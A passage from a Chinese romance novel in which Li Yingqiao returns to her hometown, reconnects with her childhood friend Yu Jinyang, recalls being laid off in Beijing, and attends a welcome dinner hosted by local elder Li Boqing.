“话先说前面,我是绝对欢迎你回来的。”高典一脸信息过载的表情,索性撂下筷子说,“但为什么啊,你原先那公司如果干得不舒服,辞了就辞了呗,凭你的能力在北京又不是找不着工作,干嘛要回丰潭来上班啊?” 李映桥正叼着块鸭掌在啃,“很惊讶吗?喵不也放弃外面的花花世界回来了吗?” “那不一样啊,喵是早晚要回来的,四一哥那么大的摊子生意他得回来接手啊,而且,喵是因为——” “是不是李书记给你打电话了?”俞津杨打断,放下筷子转头问她,又随手抽了张纸巾递给高典,示意他闭会儿嘴。 高典却没反应过来:“李书记谁啊?” “李伯清啊,”李映桥抬眼说,“就当年那个单枪匹马去广东玩具展销会,结果给丰潭拿下第一笔木玩订单的李伯清,高考放榜还给咱们发过贺语那个。” 李伯清也算是个传奇人物,当年就是他用镇上一位老人做出的第一只木头玩具投石问路,竟意外在广东开拓出丰潭木玩市场,于是回来就招兵买马、大张旗鼓地集资办厂,确实镇上不少人跟着发家致富,俞人杰也是其中之一。 在那个万元户都罕见的年代,在李伯清的带领下,整个镇一年就做出近百万的销量,甚至随着互联网时代电商的到来,订单远销海外。 李伯清自认生来就带着使命,他对这片土地有着深厚的情怀,不光自己挣钱,还要带着所有人挣钱。 当年镇上但凡会做点木工手艺的,人均手里都有好几间木玩工厂,但今时不同往日,丰潭木玩这条产业也成了百足之虫死而不僵,早已是夕阳产业。 就连俞人杰也是,每年挣得确实还没一家酒店的分红来得多。但李伯清的面子,别说俞人杰,就连丰潭政府的领导都还得让他几分。 当年他们几个高考成绩一公布,李伯清都惊掉下巴,虽然他们几个都迁到小画城了,但李伯清还是把他们几个算作是自己后生,毕竟镇上什么时候出过那么多名牌大学生。 一六年却一口气出了四个。那年的几个小孩确实狠狠让李伯清长了一波脸,好一番扬眉吐气,所以他对李映桥几个的动向也格外关注。 疫情爆发那年,他让人逐个打电话过去询问,问他们在外地发展如何,如果不好的话,要不要考虑回家乡发展。 李伯清当时开出的条件很丰厚,毕竟当时他在丰潭还有些话语权,但这两年他也开始退二线。李映桥决定要回来的时候,他那边已经给不出什么优渥的条件了,但也还是诚意满满地说你要回来我夹道欢迎,肯定尽我所能给你保驾护航。 李伯清确实对这片土地爱得深沉,作风却老派,时常在朋友圈写诗表达对乡土的热爱。 “对对对,”高典也想起来,“他朋友圈老写诗,喵给他每首诗都点赞了。” 李映桥叼着鸭掌呢,诧异瞥俞津杨一眼,“看不出来啊,喵你这么舔呢?” 俞津杨置若罔闻,接着夹了块鱼肉,低着脑袋贴着桌板在吐鱼刺,半晌才开口:“他让你去小画城上班?做什么?景区管理员?” 李映桥言归正传说:“差不多吧,他说随便我折腾,小画城嘛,反正最熟了。” 俞津杨笑了下:“你小学就搬走了,小画城早就改建过好几轮了,你确定你还熟?什么时候入职?” “下周,等现在的运营老总走了,我就去点个卯。”李映桥反问,“你工作室什么时候开的?” “去年吧,”他人往后一靠,抽了张纸巾擦手,转手去捞手机,“微信,我扫你。” “哦哦,”李映桥拿着筷子愣了下,反应过来另只手也去摸手机,还喃喃了一句:“咱俩怎么还能没微信呢?” 他扫完扯了下嘴角,语气倒是难得有些阴阳怪气:“问你啊,为什么。” 高典也拿起跟着扫,眯眼道:“靠,纯情屎壳郎蹦恰恰?不是啊,偶像,这不会是你的工作微信吧?” 李映桥通过两人的好友申请:“当然不是,工作我另有安排,这我私人微信。” 俞津杨看着跳出来的对话框,突然想起来一件事,转头看她问:“你以前是不是加过我?” “没有吧,”李映桥也忘了,“也可能有一阵子搜过q.q号什么的,你是不是当时没通过。” 俞津杨把手机往桌上一扔,偏过头无语地盯着她看了两秒,见李映桥一脸无辜地看着他,自己先忍不住笑了:“你又没备注,地址还在安道尔——” 李映桥差不多也吃饱了,放下筷子,眼神凉飕飕地看着他说:“行吧,不怪你,怪我咯。” “怎么敢啊。”他低下头去发送好友申请,笑了声。 李映桥这次回来才发觉,俞津杨长高了之后,连五官都更加匀称优越,从前总觉得他眼睛太大——其实他是不太标准的丹凤眼,在他小时候那张脸上显得过于占地方。 如今比例却很适中,眼尾微斜上扬,但又不是狭长那款,小时候更看着更秀气,如今褪去稚气,脸部线条轮廓清隽而流利,平直浓郁的剑眉更衬得这双眼睛内敛神气。 以前他自己还开玩笑说他是变形金刚,因为很多汽车灯都是参考的丹凤眼这个眼型,她和高典问他是法拉利还是保时捷,他说自己是柯尼塞格。后来李映桥在北京真见到一台柯尼塞格,才知道他也是个胡说八道的,人都不是丹凤眼的设计。 不得不承认,此刻棒球帽檐下那张冷峻帅哥的标准脸,确实是吸引人的。 私人酒吧的光半明半昧。俞津杨仍能察觉到李映桥明目张胆的视线,他其实早就察觉到了,本来想当作没看见,但她一直盯着他,丝毫没有要挪开的意思,这么长久的凝视,如果他再无视,反倒显得他心里有鬼,于是他也微微偏过头,坦然将目光迎上去,她也没说什么,只是大大方方盯着他看,两人没了刚开始视线一相碰就下意识想要移开的局促。 不知道是不是他的错觉,李映桥瞧他的眼神,就像在看一件换季时突然从衣柜里翻出来的旧t恤,有种被岁月洗礼过的遗憾,又好奇他还能不能穿。 “吃饱了吗?”他问。 “饱了。” 话音刚落,高典拿着手机头也不抬地说:“店里来了俩客人,我得回去当渣男去了,你俩慢慢叙旧。对了,偶像,如果真决定留下的话,以后多多光顾我生意,小画城那个景区里现在住的可都不是什么好鸟,你肯定用得上我。” 说完,他一溜烟给跑了。 李映桥维持了一天完美体面的面具,终于在这刻破裂,回头冲着他的背影大吼道:“死高典,你别咒我!” 吼完一转头,余光瞥见一旁的人嘴角微抿憋着笑,眼角弯弯的。 “俞喵喵!” “哎。” “别笑了。” “我没笑啊。”他非但没躲,反而还像刚才她直白的视线那样,毫不避让、甚至有些挑衅地对上她忿忿的目光。 他居然还把他一向宝贝的后脑勺亮给她,“这什么,李映桥?” 李映桥:“……你就那么欠揍?” 俞津杨这才收敛了嘴角,声音也冷淡下来:“只是看不惯你那么认命的样子,你刚才和高典说那些三六九的东西,比我太奶看起来都认命,老太太三不五时还能赛博娱乐一下,偶尔还能给人捧个哏。” 他忽然想起,前两天太奶和他侃的大山,“李映桥,我考考你,现在夸一个男的身材好一般都说什么?” 李映桥:“……” 俞津杨说完也没觉得有什么不妥,但看到李映桥瞠目结舌的样子,才后知后觉自己说了什么,瞬间耳朵就炸红,甚至以肉眼可见的速度蔓延到脖子上。 像被扔进沸水的明虾,瞬间就红得不像样。 他忙咳了声,“——不是,我没别的意思。” 李映桥反而笑开了,“你想说什么?” 等她笑够了,他才拿帽檐下的眼睛撇过头去睨她,语气倒是不紧不慢:“真没别的意思,只是想说,刚才骂高典那样子才像你。” 李映桥一愣,冲他勾勾手大声道:“那你后脑勺过来,皮痒早说啊。” 他仿佛看穿她,一动不动:“别演了,越演越不像。” “是吗?”李映桥挑眉,谑他,“俞喵喵,按你的设想,我现在出场是不是非得表演个胸口碎大石,还是要徒手劈块砖?不然就不是李映桥了是吧?” “反正你不是。”他也逗她。 “那你说谁是,那个李映桥是什么样的。” “那个李映桥,应该还在讨厌我。” “胡说。” “那你不是那个李映桥。” “那你也不是俞津杨,毕竟从前俞喵喵说过要给我当狗的。” 他没再看她,拿起手机站起来,帽檐下那张脸看不出什么情绪,只见他微微别开脸,低声说:“是你自己不要的。” “我现在回来了。”她却没动,坐在那看着他说。 “过期不候了。” 28 第二十七章 他说完,把桌子给她挪开,桌角发出短促的刮蹭声响,他侧身让出一条通道让她从里面出来,李映桥仍是没动,反而向前倾了倾身子,仰着脸去寻他帽檐下的那双眼睛,辨出这话的真假,好奇地尾音都上扬:“真的吗——以后不跟我玩咯?” 俞津杨只是将头撇到一边,低声说:“走不走了?” “走走走。”李映桥这才从座位上站起来,意兴阑珊地从他旁边走出去,还拿手状似无意地比划着两人的身高,“不过,你是怎么长得这么高的?真把腿截了一段啊?” 她目光看下去。 他没吭声,转身从吧台里拿了把伞,刚直起身,李映桥又站他后面:“不用伞,我开车了,直接从酒店的地下车库去商场就行。” 俞津杨看她一眼,还是把伞递给她,下巴指了指她脖颈处的红砂:“中暑别淋雨,放车里备着吧,下次再还我。” 李映桥愣了片刻才接过,“其实,喵,我是想找你帮个忙来着。” 俞津杨斜倚在吧台上,低头看着她,表情并不意外,反倒是默默松了一口气,这么多年没联系,一回来就直接来找他,这么主动的李映桥,多半是真有事求他。 不然这么多年没见,她真犯不上这么对他。 他点头:“你说。” 李映桥眼神在他脸上逡巡片刻,嘴唇却始终被一根穿针的线紧紧牵着,显然有些难以启齿。 俞津杨没有催她,单手抄兜,人靠在吧台上看她,耐心地等她下文。 “你现在没有女朋友吧?” “没。”他言简意赅,但有不少亲戚鼓动他爸妈给他相亲,这句他没讲,“你想说什么?” 他眼神像一片澄澈而温吞的湖,望进她的眼里,平静也温柔。 李映桥忽然觉得自己没办法对他讲出那些话,虽然她今天就是为这事来的,但这么多年没见,他们如果是这样的开场,俞津杨恐怕是真的会生气。 于是她话锋一转,随便找了个借口,笑笑说:“没,我随便问问,那明天能陪我去吃个饭吗?李书记要说给我接风,我不是很想一个人去。” 当年他们几个高考成绩一放榜,李伯清还大张旗鼓在镇里要给他们几个摆升学宴,李伯清作风很老派,自从商人转型成功后,也开始整官僚主义那套,李映桥那顿饭吃得她浑身难受。 哪怕在外面磨历过这么些年,和李伯清这样的人周旋多少也需要些耐心,李映桥显然没有,她和梁梅在某些李面确实很像,至今他们几个都非常理解,当初梁梅为什么会找上她。 俞津杨迟疑几秒,宽阔挺拔的身形在酒吧昏昧的灯光下笼着她,人只是静静立在那,像棵生了根的树,目光沉沉地看着她,始终没作声。 这也不愿意吗?李映桥只好说:“喵,你当我没讲。” 俞津杨垂下眼皮,说:“好,等会儿地址微信发我。” “哇,俞喵喵,这么多年过去,你还是这么好说话呀!”李映桥笑嘻嘻地在他肩上拍了下,又开始后悔自己或许多虑了,刚刚就应该直接跟他讲,我能不能蹭一下你的上海户口,我想在上海给姝莉按揭买套小房子。 他率先推门出去,伸手去按电梯,没讲话。 “你这人怎么这样,夸你还不高兴了?” “哪不高兴了?”他看她一眼。 “你要也烦李书记的话,就别陪我去了,我自己可以的。”这并不是她的本意。 “没事,”他说,“明天正好没事。” 李映桥冲他嘿嘿一笑,“喵,还是那句话,见着你真很高兴。” 鸦雀无声,直到电梯门缓缓关上,只听俞津杨声不着调,又回了句:“你少哄我了。” 再没搭理她。直到两人走到停车场,李映桥解开车锁准备上车,回头和他说明天见的时候,俞津杨仍是站在原地没动,也没回说明天见。 其实李映桥也高了不少,她从小就漂亮出挑,初中的时候很瘦,看着有点营养不良,但因为她的脊背永远挺得笔直,即使套件灰扑扑的校服也在人群中很扎眼,唐湘和他说过很多次,小时候接他们放学,李映桥永远最好找。 如今她早也不梳那种紧绷勒头皮的大光明马尾,头发很随性地披散在颈间,唯有额前的碎卷胎毛还透着些少时的俏皮,尤其笑起来,和小时候其实没什么两样。只是从前她整个人硬得像根旗杆子,眼神带着股不服输的锐气,如今她饱满而舒展,也柔和很多,像一片包含春情的树叶,她身上有着崭新的精致和成熟,也有儿时不服输的少年锐气。 李映桥扶着车门,见他没回应,拿手在他面前晃了晃,“嗨~俞喵喵,说再见。” “李映桥,”他叫住她,声音不算高,但停车场空旷,像石子掷入深水湖面发出的闷响,俞津杨双手松松地揣在裤兜里,站在原地看着她,“在外面没碰上什么事吧?” “放一百二十颗心,一点事没有。”她关门上车,降下车窗和他挥手道别:“明天见。” 俞津杨人仰着坐在驾驶座里半天没启动,拿着手机划拉着微信来回翻了下,又泄气地扔进扶手箱里。 他刚刚应该问的,其实问一句你这几年过得怎么样也不会怎么样。 尽管她给出的答案一定会是我很好,非常好,特别好。 其实,考上大学那年,他俩是同一天的车离开丰潭。他是十二点十五分的火车去上海,而她则是十二点整的班次去北京。他俩在人声鼎沸的火车站,看了彼此很久。 俞津杨身边很热闹,除了太奶奶和爷爷没来之外,家里能喘气的几乎全来了,就连他高中时养的拉布拉多都屁颠屁颠跟过来要给他送行,俞津杨抱着它亲了又亲,哄了好久才给它哄回车上去。 不知道为什么,李姝莉那天没有来送她,唐湘和俞人杰也没有发现人群中的李映桥,他们光顾着急赤白脸地和姥姥吵架。 因为姥姥偷偷往他的裤兜里塞了一个红包,被眼尖的唐湘女士扫见,立马就给没收了,还劈头盖脸地说了姥姥一通—— “津杨都这么大了,您别再动不动给他塞红包,这孩子就是被你们给宠坏的。再说,我们都提前给了他半年的生活费,您别再背地里瞒着我们给他钱了,再让我抓着一次,他生活费就减半……” 姥姥重新把红包从他妈手里夺回来,明明平时看着那么弱不禁风一老太太,那一刻力量却出奇的大,他都推不开,干枯的手掌牢牢禁锢住他的手腕,怎么都要把这个红包塞进他的口袋里,边塞嘴里还喋喋不休地保证道:“最后一次了,最后一次,以后保准不给了。他从小到大就没离开过这里,好不容易考上大学,一个人在外面有点钱才能傍身……” “您每次都说最后一次。” “好了好了,这事儿我说了算,妈,咱听湘湘的,咱疼孩子不是这么疼的。”俞人杰也就这时候不痛不痒地插句嘴。 俞津杨就这么听着姥姥和他妈各执一词地争辩着,不远处大姑和小姑脚步匆匆地从进站口跑过来,塞了两盒玉米饼让他带车上吃,还有一大袋零食,小姑不会说话,给他打手语,让他一路上好好照顾自己,俞津杨还没来得及道谢,大姑一上来也急赤白脸地又给他裤兜里塞一红包,他哭笑不得,于是他妈又劈头盖脸说大姑,同一番话连词都不带换的。 那时,他也马上要检票,就在这样闹哄哄的气氛中,他静静地看着对面站台上的李映桥一个人拖着行李箱毅然踏上那趟北上求学的列车。 在没有人注意的角落里,他们隔着人山人海的站台,彼此最后对望一眼,那时候丰潭还没通高铁,李映桥坐在绿皮车厢内冲他笑了下,眼神挺坚毅,却莫名令人发酸。 他其实知道她想说什么,不是再见,不是道别。 那时她一定说的是—— 俞喵喵,我要去改变世界咯,你别太想我。 29 第二十八章 李映桥毕业入职第一家公司就是晟之美生物科技,在面临清盘之前,她其实就已经被“裁员”了。那几年公司效益每况愈下,她深知公司优化的必然性,只是没想到这么快就轮到自己。好歹当年也是和大boss在街边撸过串的交情。 后来她才知道,成也萧何,败也萧何。偏就和老板撸过串的那几个都无一例外地被优化了,她们组里一敏锐的姐们参透这件事的真相,立马搞清来龙去脉,两人抱着箱子准备打道回府,刚走进电梯,赵屏南还没等电梯门合上,就靠在电梯厢上仰天长叹一声,和她讲八卦:“你才是无妄之灾呢,你那天接了个客户的电话走得早,不知道后来的事。” 李映桥侧头看她,好奇道:“这里面还有什么内情吗?” 赵屏南说:“老板那天喝多了发疯,干了些蠢事,被组里的人录像了,他自己喝断片了是不记得了,我估计有人把视频传出去了,其他组的人知道了呗,谁让咱们手里最近合作的面膜又刚好爆了大雷,lucas再一煽风点火,咱们这个组直接咔掉了。” 这事儿李映桥倒是不知道,她只知道她被裁掉倒不是因为这件事,而是她确实没和老板谈拢,这些资本家手段层出不穷,就裁员这事儿,他早一个月之前就背地里搞小动作,连门禁卡都消磁了,好几个人没刷上卡真就溜号了,立马被记旷工。 他又找主管部门各种谈话,提出全员降薪,降薪就降薪吧,现在工作多不好找啊,大家愿意干的也就留下来了,不愿意干的就主动离职了。 但这个老板比较没人性的是,他联合所有部门主管签下的降薪协议,全体降薪百分之三十,只要部门主管配合优化部门人员,哪怕使些不入流的小手段,让员工主动提出辞职,就会在这次优化结束后把百分之三十作为奖金的形式补回去。 因为他不想赔付n+1的裁员补偿。 李映桥和老板单独谈完话,她不想为难组里的同事,关键她组里就没几个人,赵屏南是个钝感力很强的乐天派,哪怕你点名道姓地指着脑门骂她,她也只会慢半拍地指着自己反应不过来,啊?我吗? 而至于其他人,也就剩下个小关,林小北,何姐,每个都难搞,何姐的母亲还在重症病房,每个月还房贷都捉襟见肘,医药费都还是她和小关凑的。 李映桥没签合同,摘下脖子上的工牌交回去了,她决定自己走。 只是她没想到,那么阴险狡诈又抠门的资本家,竟然也会恼羞成怒,直接把她们整个项目组给砍了,比预料之中好点的是,至少他们几个都拿到n+1赔偿了,赵屏南说这是封口费啦,买断小北手里视频的。小北怕他不愿意给n+1,把视频都发给我们了。 李映桥无法理解,一脸不可置信,要不是手上抱着箱子,她真想掐着赵屏南的脖子摇她个天昏地暗:“小北为什么没发给我?有这么重要的把柄,他竟然不!发!给!我!” 赵屏南不好意思:“……小北以为你应该不会被开。映桥姐,你接下去打算去哪?” 其实那时候有不少猎头来挖过李映桥,她不着急,打算留在北京慢慢找工作。 “你呢?”她反问赵屏南。 “我嘛,”赵屏南早已经做好了打算,所以她这次走得也痛快,“我回老家,我妈刚承包了一座茶叶山,我准备回去卖茶叶了。” 说来惭愧,两人同事快两年,她也不知道她老家在哪,这会儿也不好再多问,只好说:“那祝你一路顺风。” 赵屏南却靠在电梯轿厢上,似笑非笑地看着她。 李映桥被她笑得心里发毛,干什么这个表情,不会要卖她茶叶吧,不要啊。 李映桥抱着箱子,也提前冲她抱歉地笑笑—— 对不起了,等会儿上地铁就删掉你。 等两人抱着箱子走出公司的大楼,正一言不发地往地铁站走的时候,赵屏南却又突然开口说:“映桥姐。其实我也是s省的,我知道你是丰潭人。” “……” s省也没用,微信还是要删。不过李映桥这几年已经很少接触到和丰潭相关的事或人,这俩字在她听来都有些陌生,乍一听见,还有些恍惚,也微微讶异:“你也是s省的?你哪的?” “我是庆宜的。”赵屏南仍是那个神秘兮兮的笑容,“你不知道吧,我一进公司就知道你和我一样来自s省,但我很少提,怕你觉得我想跟你套近乎。” 李映桥这个项目组刚成立时,她为了拉近彼此的距离,也没少和组里的人聚餐,每当酒过三巡,同事们一个个眼里流光溢彩就开始提自己的家乡,但她一般都沉默。久而久之,大家也很少同她聊起家乡,以为她对家乡没有什么感情。 赵屏南和她顺着人流往地铁站走,在红绿灯路口停了下来,她看着李映桥说:“映桥姐,其实你是不是也很想回老家?你还记得我们有一次聚餐吗?那天你喝了也不少,不知道给谁打了个电话后就一直在哭。小关问你怎么了,你说你想回丰潭,你特别想回丰潭。” 同事两年,赵屏南其实和她不算太熟,李映桥好像没什么朋友,在公司里也是独来独往的,但她性格其实很开朗,他们不愿意和她走太近的原因,不过也是因为她是上级,所以一直和她保持不远不近的距离。 但赵屏南其实心里一直很佩服她,b大出来的高材生,无论什么项目交到她手里,他们还跟脑雾大战的时候,她都能得心应手、有条不紊地把方案写得一笔不苟。起初刚进入公司,她还算是她的师傅。 李映桥那会儿也抱着箱子站着等红绿灯,目光有些失神,直到一台柯尼塞格从她面前的街道上呼啸而过,她才像是想起什么荒谬绝伦的事情,笑出声来说:“我真忘了。” “那你还记得,我刚进公司的时候,你带着我做nyi的干细胞项目,半夜十二点老板突然通知我说我们的方案临时入围,但是作为备选入围的。因为其中一家公司突然深夜爆雷,我们才有了这个备选名额。那时候我作为实习生加完班,还没睡半小时你电话就打来了。对方要求我们明天早晨七点之前到nyi的总部做方案讲解,可他们总部在石家庄。” 李映桥听到这,这才将目光挪过去看她,缓缓点头说:“记得,还是个雪天。” “是啊,老板都说算了,对方是故意在为难我们,”赵屏南说,“可你做了个疯狂的决定,连夜自己开车到石家庄,我们一点半出发,开到人集团楼下正好早点六点,我们俩还蹲在旁边的公共厕所里灰头土脸的洗漱化妆,扫地阿姨看咱俩太可怜了,还特意给咱俩多留了一包卷纸。但有个男的一直在厕所门口徘徊盯着咱俩,你还记得吧。” “记得,你说你在车里睡得不太好,担心影响等会儿的方案讲解,直到收拾那个男的的时候,我完全放心,我觉得你脑子很清醒。” “对,我记得我要报警。” “不是,是你在咱俩混作一堆的化妆品里,你准确无误地抄起我的粉饼当作武器的时候,我就觉得,那天nyi的方案必定是我们的。” 赵屏南:“……” 这样的李映桥突然变得灵泛,赵屏南其实觉得有些陌生。公司里她多数时候是过于冷静和理智,出去聚餐又是个很散漫的性子,或者说相当随和,任凭他们闹得人仰马翻,自己只窝在沙发的角落里,看他们玩得找不着北,看他们笑得沸反盈天,然后她悄无声息买了单就走,一个很让人有安全感、却也不怎么想亲近的上司。 李映桥见她无语,再次笑出声来,下巴指了指前方的灯牌,“绿灯了,走。” 直到两人走进地铁站,赵屏南鞋跟把台阶踩得噔噔作响,继续讲:“我们拿下方案后,你跟我说了一句话,你还记得吗?” “哪句?” “哇,映桥姐,”赵屏南觉得伤心,看她一眼说,“咱俩同事这么久,总共也没讲几句真心话吧,你竟然不记得了,难道你是个满嘴跑火车的人?” 李映桥慢悠悠地下台阶,从容笑道:“那是你不太了解我们丰潭人,我们丰潭人讲话就喜欢满嘴跑火车。闲着没事儿还爱给人编顺口溜儿——” “拿下方案后,我们去报警,把那个到处窜的厕所男缉拿归案后,你说以后遇到这种事,你一定是第二个站出来支持我的。我问你为什么不是第一个,你说,第一个永远是我们自己。我说这个的意思是,我现在打算回去卖茶叶了,你也支持我不?” 李映桥:“……” 就知道她在这等着。 赵屏南哈哈大笑,笑得端着箱子的手都酸了,她转身朝她自己的站台走,背对着李映桥猛猛挥手说:“别删我微信啊!我知道你一离职铁定要删我,但咱俩是老乡,有空来庆宜找我玩。” 李映桥至今没删赵屏南的微信,甚至还被赵屏南缠着加了她那个纯情屎壳郎蹦恰恰的私人微信。李映桥刚回刮痧馆,李姝莉问她吃饭没有,李映桥机械点着头说吃了吃了,兜里的手机一震,赵屏南的微信刚好蹦出来,问她是不是在丰潭。 李映桥刚回完她,紧跟着,又跳出一条微信,是俞津杨。 d321:「地址。」 纯情屎壳郎蹦恰恰:「发送一个位置」 纯情屎壳郎蹦恰恰:「喵,这。」 下一秒,d321:「到家了?」 纯情屎壳郎蹦恰恰:「yes」 又是一秒,d321:「我也yes了。」 李映桥笑出声,纯情屎壳郎蹦恰恰:「明天见。」 这次过了好久,李映桥回房洗了个澡,俞津杨才回。 d321:「明天见。」 *** 李伯清定的地方在丰潭山上的一个山庄里,丰潭的山里这些年一直都没什么变化,山依旧高,星星依旧澄亮,公鸡打鸣声也依旧清晰高亢,麦田却依旧沉默。 那条泥泞的黄土路仍是潮湿而黏腻,直到一道道宽阔的车辙印覆盖着原本人们的脚印,朝着那黛青色的深山延伸而去。两台车子前后驶进山庄的大门,这时,饭店门口走出一个高挺身影,边大步流星朝他们过来边高声招呼:“津杨!” 俞津杨将车靠边,降下车窗,笑着同人寒暄,“连丰哥。” 来人叫李连丰,是这家李伯清的大孙子,三十出头的年纪,面庞端正斯文,戴着一副无框眼镜,目前在市政工作,是李映桥和俞津杨的潭中学长,高他们两届。他和李映桥不熟,两人第一次见面,和俞津杨还算熟,丰潭没什么年轻人,两人约着打过几次球。 李连丰一见面就笑着揶揄他:“稀客啊,津杨。之前怎么喊你都不肯来,今天倒是愿意陪着女孩儿来了啊?” 俞津杨从后视镜里瞥见李映桥下车的身影,自己也跟着推门下车,但没搭他的腔,等李映桥走到两人面前,他靠在车门上给她介绍说:“李书记的孙子,连丰哥。” 李连丰虽没见过李映桥,但听老爷子说起来像是个有点凶悍的女孩,没想到是和这方水土这么格格不入的一个人,完全不像土生土长的丰潭人,清冷又高挑。他眼睛还真是亮了下,娴熟地伸出手:“映桥,久仰。老听爷爷说起你。” 初次见面,就能自然而然地省去姓氏,游刃有余却不显轻浮地叫人名字的人,这是种与生俱来的能力。 俞津杨天生就缺这根弦,他的微信备注里,每个人都完整地拥有姓名,严谨程度堪比派出所的户籍管理。 李映桥回握住他的手,很快松开,也跟着俞津杨笑着叫了声,“连丰哥。” 落落大方,侃侃而谈。李连丰笑容又深了一层,脸上的褶子像冰凉的湖面上泛起的层层涟漪,笑得一浪又一浪。 寒暄过后,李连丰让李映桥先进门,随后给倚在车门上的俞津杨递了支烟过去,眼神往旁边花坛意味深长地一指,“咱俩聊会儿再进去?” 30 第二十九章 俞津杨没接递来的烟,只是倚着车门上目送着李映桥进去,而后才转头看向李连丰,平淡疏离地开口:“在这儿说吧,我不抽烟。” “不能吧?” “哥,我真不抽。” 嘴上叫着哥,语气听起来莫名有点不耐烦。 李连丰察觉到他的冷淡,表情也跟着收起来,讪讪把烟插回去,心下忍不住腹诽,就知道这小子没那么简单,平日里无论怎么叫都不肯来,今天还以为他转性了。 “你和李映桥关系不错?”李连丰只好给自己点了支烟,打火机塞回兜里,吐了口气好奇说。 “一般。”俞津杨说得言简意赅,人靠在车门上,看似在给自己提神般地慢悠悠活动了一圈脖子,实则在巧妙躲避对方喷出的烟雾,语气仍是平淡,“很久没联系了。” 李连丰默默又抽了两口烟,说:“我以为看你爸和她舅舅这么水火不容的关系,你们俩应该也是王不见王的。” 俞津杨一抬头,便瞧见饭店二楼中式格栅窗户的空调外机边上,冷不丁探出个熟悉的脑袋,李映桥猝不及防地冲他扮了个鬼脸—— 喵,看我看我。她还有口型,简直一如既往的活泼。 他“噗嗤”笑出声,连带着一旁的李连丰也回头看了眼,连只苍蝇都没瞧见。 俞津杨老半天才收回视线,不咸不淡道:“小时候一起玩得挺好,这几年确实没怎么联系。” 李连丰咂摸咂摸这话里的意思,心下有了判断,于是也开门见山说:“那哥也不跟你藏着掖着了,不管你是出于和李映桥青梅竹马的情分,还是别的什么原因,既然决定来了,等会儿进去可能会听到些不好听的话,你也别介意,你就当这些人放屁,我老爷子年纪也大了,脑子糊涂,什么事都想掺一脚,放心,我尽量帮你维持局面,不让你为难。” “谢了哥。”俞津杨笑了下。 李连丰自诩阅人无数,在人情世故这方面向来游刃有余。唯独看不透眼前这个人,俞津杨表面温柔有度又随和,看似对你鞠躬尽瘁,一口一个哥来哥去的,你要真当自己是他哥,那才是着了他的道。 俞津杨是个滴水不漏的性子,那腰杆子弯得起,也直得起,他高兴,或许还愿意陪你演一出折子戏,不高兴,想要摁他头是摁不动的,全看他自己愿不愿意伏低做小。 就去年李武声玩具厂的人把俞人杰给撞了这件事,两家这半年闹得不可开交,连李姝莉和唐湘见面都颇尴尬。可这镇上十户里七八户姓着李,李武声也就沾了这点便宜。李伯清骨子里又是个思想根植在这片干涸土地里的守旧派,自认还算说得上话,想拉偏架,让俞人杰卖他个面子,要点赔偿就算了,别把事情闹大。 然而事情哪有李伯清想得那么简单。俞人杰出事后,他们家几乎天翻地覆,唐湘还有个不到三岁的女儿要带,又要应付公司里堆积如山的事物。 俞人杰自己更煎熬,腿疼得整夜整夜睡不着觉,那阵子他都能数得出天花板的裂纹。身上那汗就跟海绵垫子里的水似的,怎么都出不完,擦干没多久又洇出个人形来,床单来不及换,床单上的人也瘦得已经不成样。 可尽管是这样,他们也都一致决定还是瞒着在国外的俞津杨,没告诉他家里的近况。直到有一次电话里,甜筒带着哭腔稀稀拉拉地叫着哥哥,爸爸痛痛。俞津杨才知道家里出了这么大的事儿—— 那会儿他正在国外一家著名机械表集团的芝加哥分部任美洲区战略发展经理,负责北美市场的供应链优化。不出意外的话,他的职业规划是两年内应该能回国,因为集团当时正在筹建上海高端客户机械表定制中心,整个项目由他主导,总部高层认可他的中国背景,也认可他对中国市场的战略布局。 只是这板上钉钉的事,却偏偏没想到,那个原本天天给他打越洋电话抱怨中国自来水有味道想回芝加哥的fernando同志,在前不久和总部的一次视频述职会议上,突然当众宣布——他打算和中国女人结婚,他要留在中国,他要申请延长中国区战略经理的任期。 fernando赖在中国不肯走,俞津杨也知道自己后面很难再有其他机会,又恰巧那时接到甜筒那个哭唧唧的电话,于是一周后,他在去年底决定向总部高层提出离职。 回来之后,李伯清就见缝插针地给他打电话,想从他这边做思想工作,但都被俞津杨四两拨千斤地打着太极回绝,这事儿李武声有没有参与尚且还两说,就算他没参与,他爸的腿被撞成这样,怎么可能要他们只拿铺面来息事宁人。 他当然知道自己今天来,会面临什么场面。李映桥提出这个要求的时候,他几乎下意识要冷下脸来,他总归忘了,她也姓李。可他当时转念又忍不住想,他俩四五岁就认识,李映桥是什么样的人,他非常了解,她不会不分青红皂白就帮李武声搭桥牵线。 可他们多年未见,他不知道她有没有变,但如果他不来,李伯清和李连丰这对爷孙向来擅长一个唱红脸,一个唱白脸。李映桥玩不过的,万一被他们牵着鼻子走,保不齐他们俩以后连正儿八经的朋友都没得做。 所以他答应了,有些话,李伯清顾及他在场,不会说得太过分。 正如李连丰所讲,这半年李伯清没少掺合这件事,就是所谓站在他的大局观上出发,丰潭的经济太差,现在是僧多粥少,海外订单也直线下滑,几家大企业都倒闭,小作坊也就混个温饱,连俞人杰都转行。 现在早已经不是当年阿猫阿狗开个代理工厂就能赚得盆满盆满的时代了,所以越到这种时候,大家越要团结起来,共度这个难关。 果不其然,俞津杨和李连丰一上楼,在门口就听见李伯清在唱些陈词滥调,无非就是让他们目光、格局都放长远一点,别因为私人恩怨耽误丰潭企业的发展。 李伯清放下筷子,扬手招呼人又开了一瓶红酒,说:“现在好的木材从树木种植到成材都要近百年的时间,尤其是不可再生资源,就连咱们丰潭盛产的香樟木,也有林业保护,没有批证你也不能乱砍。现在这情况就是大厂子带不好头,小厂子又一茬茬冒出来,那相关部门的检查肯定会更严格。生产废料的排放、粉尘污染这些都是问题。不过,有些厂子现在我看转型做那个什么生物粒子好像不错,还拿了省里的扶持是不是?” 他旁边的中年男人回:“对,是生物质颗粒。这个主意还是津杨帮忙想的,可以把木玩厂生产的木屑废料加工成生物颗粒,提供科技燃料。别说,前阵子我们靠这拿了个专利。到底还是他们年轻人脑子活络转得快啊,不然现在镇上死的厂子还要多一些。” 李伯清叹了口气:“这小子就是心思不在这,太可惜。那么好的脑子,也不想着为家乡做点事,要自己去搞什么设计。思想觉悟上还是差点——” 李连丰飞快地看了眼俞津杨,咳了声,侧身让他先进去:“你多包涵。老头年纪大了,智力水平倒退就是个七八岁小孩,你别和他计较。” 心智确实像,外表可不像。李伯清坐在餐桌主位上,像颗被人牢牢栽了几十年的老萝卜,没人能拔得动他,他的根系在经年累月的腐朽中,越来越深地朝着土壤深入蔓延,俞人杰说他就是一颗烂在土里的老萝卜。 